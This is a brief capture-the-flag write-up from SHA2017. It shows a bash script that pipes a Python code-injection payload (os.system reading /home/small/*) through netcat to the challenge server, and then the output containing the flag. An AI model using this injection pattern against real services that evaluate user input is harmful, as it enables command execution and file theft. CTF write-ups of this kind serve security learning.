Tags: sha2017ctf 

Rating:

```
# cat small.sh
#!/bin/bash
cmd="__import__('os').system('cat /home/small/*')"
echo `echo $cmd | nc small.stillhackinganyway.nl 1337`
```

```
# ./small.sh
Number: flag{69b5a247b9cd52ac97de7cc94994083e} print "HACK "*input("Number: ")
```

Original writeup (http://imgur.com/a/aPhus).